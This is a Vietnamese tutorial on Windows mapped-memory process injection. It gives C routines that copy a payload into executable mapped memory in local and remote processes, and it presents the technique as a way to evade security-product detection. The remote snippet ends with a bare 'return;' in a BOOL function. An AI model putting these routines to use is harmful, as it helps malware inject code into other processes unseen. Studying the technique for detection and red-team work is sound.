Mapped Memory
Khi sử dụng VirtualAlloc
và VirtualAllocEx
để cấp phát vùng nhớ, kiểu vùng nhớ được cấp phát sẽ là private như trong hình bên dưới:
Tuy nhiên, việc cấp phát vùng nhớ private thường được giám sát chặt chẽ bởi các giải pháp bảo mật. Để né tránh sự phát hiện, chúng ta cần sử dụng một loại vùng nhớ khác là mapped memory (vùng nhớ ánh xạ) bằng cách sử dụng các hàm chẳng hạn như CreateFileMapping
và MapViewOfFile
.
Vùng nhớ ánh xạ sau khi được cấp phát sẽ có kiểu là “Mapped: Commit” khi được xem bởi Process Hacker như sau:
Note
Hàm
VirtualProtect
và hàmVirtualProtectEx
không thể thay đổi chế độ bảo vệ của vùng nhớ ánh xạ.
Local Mapping Injection
CreateFileMapping
Hàm này giúp tạo ra một đối tượng file mapping cho phép truy cập vào nội dung của file thông qua kỹ thuật memory mapping (là một kỹ thuật cho phép ánh xạ nội dung của file vào không gian bộ nhớ ảo của tiến trình hiện tại nhằm tối ưu các thao tác đọc và ghi file). Cụ thể hơn, đối tượng này cho phép tiến trình có thể tạo ra không gian bộ nhớ ảo để ánh xạ nội dung của file trên disk hoặc của một vùng nhớ khác.
Nguyên mẫu của hàm CreateFileMapping
:
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // Not Required - NULL
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh, // Not Required - NULL
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName // Not Required - NULL
);
Giá trị trả về của hàm là handle đến file mapping object.
Giải thích về các tham số mà ta sẽ dùng:
-
hFile
: là handle của file mà ta cần ánh xạ nội dung. Do không cần ánh xạ file nào, ta có thể truyềnINVALID_HANDLE_VALUE
. Giá trị này được Microsoft giải thích như sau:If `hFile` is `INVALID_HANDLE_VALUE`, the calling process must also specify a size for the file mapping object in the `dwMaximumSizeHigh` and `dwMaximumSizeLow` parameters. In this scenario, `CreateFileMapping` creates a file mapping object of a specified size that is backed by the system paging file instead of by a file in the file system.
Nói cách khác, bằng cách sử dụng flag này, ta có thể tạo ra một mapped memory mà không cần sử dụng một file có trên disk. Thay vào đó, file mapping object sẽ được tạo ra ở trong bộ nhớ với kích thước được chỉ định thông qua tham số
dwMaximumSizeHigh
hoặcdwMaximumSizeLow
. -
flProtect
: chỉ định chế độ bảo vệ của file mapping object. Chúng ta sẽ sử dụng giá trịPAGE_EXECUTE_READWRITE
để có thể ghi và thực thi payload. Chú ý rằng việc sử dụng giá trị này không đồng nghĩa với việc tạo ra một vùng nhớRWX
mà thay vào đó là chỉ định rằng chúng ta có thể tạo ra vùng nhớ có quyền đó sau. -
dwMaximumSizeLow
: kích thước của file mapping object. Chúng ta sẽ truyền vào kích thước của payload.
Note
Hàm
CreateFileMapping
không ánh xạ file vào không gian địa chỉ của tiến trình mà nó chỉ chuẩn bị file để ánh xạ.
MapViewOfFile
Hàm này sẽ ánh xạ một góc nhìn (view) của file mapping object vào không gian địa chỉ của một tiến trình. Nó sẽ nhận vào handle của file mapping object kèm các quyền truy cập mong muốn và trả về một con trỏ tới vùng nhớ được ánh xạ.
Nguyên mẫu của hàm MapViewOfFile
:
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // Not Required - NULL
[in] DWORD dwFileOffsetLow, // Not Required - NULL
[in] SIZE_T dwNumberOfBytesToMap
);
Giải thích 3 tham số cần thiết mà ta sẽ dùng:
hFileMappingObject
: handle đến file mapping object.dwDesiredAccess
: quyền truy cập mong muốn mà sẽ được dùng để xác định chế độ bảo vệ của trang bộ nhớ mà hệ điều hành sẽ tạo ra. Chúng ta sẽ sử dụng cờFILE_MAP_EXECUTE
vàFILE_MAP_WRITE
để có thể ghi và thực thi payload. Nếu sử dụngPAGE_READWRITE
khi gọi hàmCreateFileMapping
và sử dụngFILE_MAP_EXECUTE
khi gọi hàmMapViewOfFile
thì sẽ gây ra lỗi do chúng ta đang cố gắng tạo ra vùng nhớ có thể thực thi được từ một file mapping object handle chỉ có quyền đọc và ghi.dwNumberOfBytesToMap
: ta sẽ truyền vào kích thước của payload.
Local Mapping Injection Function
Ta sẽ xây dựng hàm LocalMapInject
có nguyên mẫu như sau:
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress);
Với pPayload
là con trỏ đến vùng nhớ tạm chứa payload, sPayloadSize
là kích thước payload và ppAddress
là con trỏ đến vùng nhớ chứa địa chỉ của payload mà ta sẽ trả về.
Gọi sử dụng CreateFileMapping
và MapViewOfFile
để cấp phát vùng nhớ như sau:
// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
Sao chép payload vào vùng nhớ vừa tạo và trả về con trỏ chứa địa chỉ (con trỏ 2 chiều):
// Copying the payload to the mapped memory
memcpy(pMapAddress, pPayload, sPayloadSize);
_EndOfFunction:
*ppAddress = pMapAddress;
if (hFile)
CloseHandle(hFile);
return bSTATE;
Sau đó, ta có thể sử dụng hàm CreateThread
để thực thi payload (xem lại Local Payload Execution).
UnmapViewOfFile
Hàm này được dùng để unmap mapped memory đã được ánh xạ và chỉ nên được gọi sau khi payload đã được thực thi xong. Hàm UnmapViewOfFile
chỉ yêu cầu truyền vào địa chỉ cơ sở trỏ đến một view của file mapping object (là biến pMapAddress
trong đoạn code trên).
Remote Mapping Injection
Các bước để thực hiện remote mapping injection:
- Sử dụng
CreateFileMapping
để tạo ra file mapping object. - Sử dụng
MapViewOfFile
để ánh xạ file mapping object vào vùng nhớ của tiến trình hiện tại. - Sao chép payload vào vùng nhớ ánh xạ của tiến trình hiện tại.
- Sử dụng
MapViewOfFile2
để ánh xạ file mapping object vào vùng nhớ của tiến trình từ xa (payload cũng sẽ được sao chép).
Có thể thấy, 3 bước đầu tiên của kỹ thuật này tương tự với local mapping injection.
MapViewOfFile2
Hàm MapViewOfFile2
sẽ ánh xạ một view của file mapping object vào không gian bộ nhớ được chỉ định, mà cụ thể là của tiến trình từ xa. Nguyên mẫu hàm:
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // Handle to the file mapping object returned by CreateFileMappingA/W
[in] HANDLE ProcessHandle, // Target process handle
[in] ULONG64 Offset, // Not required - NULL
[in, optional] PVOID BaseAddress, // Not required - NULL
[in] SIZE_T ViewSize, // Not required - NULL
[in] ULONG AllocationType, // Not required - NULL
[in] ULONG PageProtection // The desired page protection.
);
Giải thích các tham số mà ta sẽ sử dụng:
FileMappingHandle
: handle của file mapping object có chứa payload mà ta cần ánh xạ vào tiến trình từ xa.ProcessHandle
: handle của tiến trình từ xa. Handle này cần có access mask1 làPROCESS_VM_OPERATION
.PageProtection
: chế độ bảo vệ của vùng nhớ ánh xạ ở trong tiến trình từ xa.
Note
Chúng ta không cần phải tạo ra vùng nhớ ánh xạ ở tiến trình hiện tại với quyền thực thi do payload sẽ được thực thi ở trong tiến trình mục tiêu. Vì thế, ta sẽ sử dụng cờ
FILE_MAP_WRITE
khi gọi hàmMapViewOfFile
.Hàm
MapViewOfFile2
sử dụng chung một file mapping object handle với hàmMapViewOfFile
nên bất kỳ sự thay đổi nào xảy ra với payload ở tiến trình hiện tại đều được ánh xạ vào tiến trình từ xa. Điều này là hữu ích trong trường hợp ta cần thực thi payload đã bị mã hóa. Khi đó, ta có thể ánh xạ payload vào tiến trình từ xa nhưng giải mã nó ở tiến trình hiện tại và cập nhật trên vùng nhớ của tiến trình hiện tại.
Remote Mapping Injection Function
Tương tự với Local Mapping Injection, ta sẽ xây dựng hàm để hiện thực remote mapping injection với các tham số lần lượt là: con trỏ đến payload, kích thước payload và con trỏ chứa địa chỉ của payload mà ta sẽ trả về. Tuy nhiên, ta sẽ có thêm một tham số là handle của tiến trình từ xa.
Nguyên mẫu hàm:
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress);
Trước tiên, ta sẽ thực hiện các bước tương tự với local mapping injection:
// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
if (pMapLocalAddress == NULL) {
printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Copying the payload to the mapped memory
memcpy(pMapLocalAddress, pPayload, sPayloadSize);
Sau đó, ánh xạ file mapping object của tiến trình vào tiến trình từ xa để tạo vùng nhớ cũng như là sao chép payload:
// Maps the payload to a new remote buffer in the target process
pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
if (pMapRemoteAddress == NULL) {
printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
Con trỏ đến địa chỉ mà ta muốn trả về sẽ là địa chỉ của vùng nhớ ánh xạ mà ta đã tạo ở trong tiến trình từ xa:
_EndOfFunction:
*ppAddress = pMapRemoteAddress;
if (hFile)
CloseHandle(hFile);
return;
Warning
Việc gọi hàm
UnmapViewOfFile
khi payload còn đang chạy ở trong tiến trình từ xa có thể gây ra crash tiến trình từ xa.
Sau đó, ta có thể sử dụng hàm CreateRemoteThread
để thực thi payload (xem lại Process Injection).
Resources
Footnotes
-
là tập hợp các access right, vốn là các bit quy định quyền truy cập. Xem thêm Access Rights and Access Masks - Win32 apps | Microsoft Learn. ↩